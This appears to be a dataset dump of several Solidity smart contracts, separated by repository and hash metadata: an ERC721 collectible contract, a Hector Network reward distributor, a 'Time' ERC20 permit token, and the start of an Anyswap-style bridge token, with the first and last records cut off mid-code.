ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(address _from,
address _to,
uint256 _tokenId,
bytes _data)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from,
uint256 _tokenId,
bytes _data)
public
returns(bytes4);
}
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner,
uint256 _index)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract MTComicsArtefact is Ownable, ERC721Token {
uint internal incrementId = 0;
address public manager;
struct ArtefactType {
uint id;
string name;
uint count;
bool distributionStarted;
}
struct Artefact {
uint id;
uint typeId;
}
mapping(uint => ArtefactType) public types;
mapping(uint => Artefact) public artefacts;
mapping(address => uint[]) public artefactReceived;
modifier onlyOwnerOrManager() {
require(msg.sender == owner || manager == msg.sender);
_;
}
constructor (address _manager) public ERC721Token("MTComicsArtefact Token", "MTCAT") {
manager = _manager;
}
function getArtefact(uint typeId) public {
for (uint i = 0; i < artefactReceived[msg.sender].length; i++) {
require(artefactReceived[msg.sender][i] != typeId);
}
require(types[typeId].count > 0 && types[typeId].distributionStarted);
artefactReceived[msg.sender].push(typeId);
incrementId++;
super._mint(msg.sender, incrementId);
artefacts[incrementId] = Artefact(incrementId, typeId);
types[typeId].count -= 1;
}
function mint(address to, uint typeId) public onlyOwnerOrManager {
incrementId++;
super._mint(to, incrementId);
artefacts[incrementId] = Artefact(incrementId, typeId);
}
function burn(uint tokenId) public onlyOwnerOf(tokenId) {
super._burn(msg.sender, tokenId);
delete artefacts[tokenId];
}
function setManager(address _manager) public onlyOwner {
manager = _manager;
}
function setType(uint id, string name, uint count) public onlyOwnerOrManager {
types[id].id = id;
types[id].name = name;
types[id].count = count;
types[id].distributionStarted = false;
}
function setDistribution(uint id, bool isDistributionStarted) public onlyOwnerOrManager {
types[id].distributionStarted = isDistributionStarted;
}
}
| 216,173 | 13,593 |
196657c51b9d93261212c65e5e03d427bc419f6c99df7acb72be9793989b9162
| 17,529 |
.sol
|
Solidity
| false |
423531051
|
Hector-Network/hector-contracts
|
e41531f53e224fa7396c5df8e4e80672f3ac1f49
|
Distributor.sol
| 3,881 | 15,340 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable HEC;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _hec, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_hec != address(0));
HEC = _hec;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(HEC).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 16,736 | 13,594 |
4b958ea1612f7f1a00a58f4f681eeebc4341338bce1de6780e489347d170c54d
| 13,230 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/49/49239d69935683e7B617F86118afa299bc618e52_TimeERC20Token.sol
| 2,896 | 10,730 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
abstract contract ERC20 is IERC20 {
using LowGasSafeMath for uint256;
// Present in ERC777
mapping (address => uint256) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]
.sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]
.sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 amount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(this), account_, amount_);
_totalSupply = _totalSupply.add(amount_);
_balances[account_] = _balances[account_].add(amount_);
emit Transfer(address(0), account_, amount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
library Counters {
using LowGasSafeMath for uint256;
struct Counter {
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
interface IERC2612Permit {
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
}
abstract contract ERC20Permit is ERC20, IERC2612Permit {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
bytes32 public DOMAIN_SEPARATOR;
constructor() {
uint256 chainID;
assembly {
chainID := chainid()
}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
keccak256(bytes("1")), // Version
chainID,
address(this)));
}
function permit(address owner,
address spender,
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "Permit: expired deadline");
bytes32 hashStruct =
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, _nonces[owner].current(), deadline));
bytes32 _hash = keccak256(abi.encodePacked(uint16(0x1901), DOMAIN_SEPARATOR, hashStruct));
address signer = ecrecover(_hash, v, r, s);
require(signer != address(0) && signer == owner, "ERC20Permit: Invalid signature");
_nonces[owner].increment();
_approve(owner, spender, amount);
}
function nonces(address owner) public view override returns (uint256) {
return _nonces[owner].current();
}
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
contract VaultOwned is Ownable {
address internal _vault;
event VaultTransferred(address indexed newVault);
function setVault(address vault_) external onlyOwner() {
require(vault_ != address(0), "IA0");
_vault = vault_;
emit VaultTransferred(_vault);
}
function vault() public view returns (address) {
return _vault;
}
modifier onlyVault() {
require(_vault == msg.sender, "VaultOwned: caller is not the Vault");
_;
}
}
contract TimeERC20Token is ERC20Permit, VaultOwned {
using LowGasSafeMath for uint256;
constructor() ERC20("Time", "TIME", 9) {
}
function mint(address account_, uint256 amount_) external onlyVault() {
_mint(account_, amount_);
}
function burn(uint256 amount) external virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) external virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) internal virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_);
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 109,723 | 13,595 |
a89543e8a212d66349827db0c5768aa1f375ea692d143af458237ec5905ea352
| 21,975 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/99/990033fE79ac886336E59bc630925A4EA949bfB7_dYelToken.sol
| 4,621 | 17,283 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IBANG {
function index() external view returns (uint256);
}
contract dYelToken is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
address public immutable BANG;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
return vault;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
_init = false;
}
function changeVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = _vault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
isMinter[_auth] = true;
minters.push(_auth);
}
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(address _BANG, string memory _name, string memory _symbol, uint8 _decimals, address _vault) {
require(_BANG != address(0));
name = _name;
symbol = _symbol;
decimals = _decimals;
isMinter[_vault] = true;
minters.push(_vault);
BANG = _BANG;
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
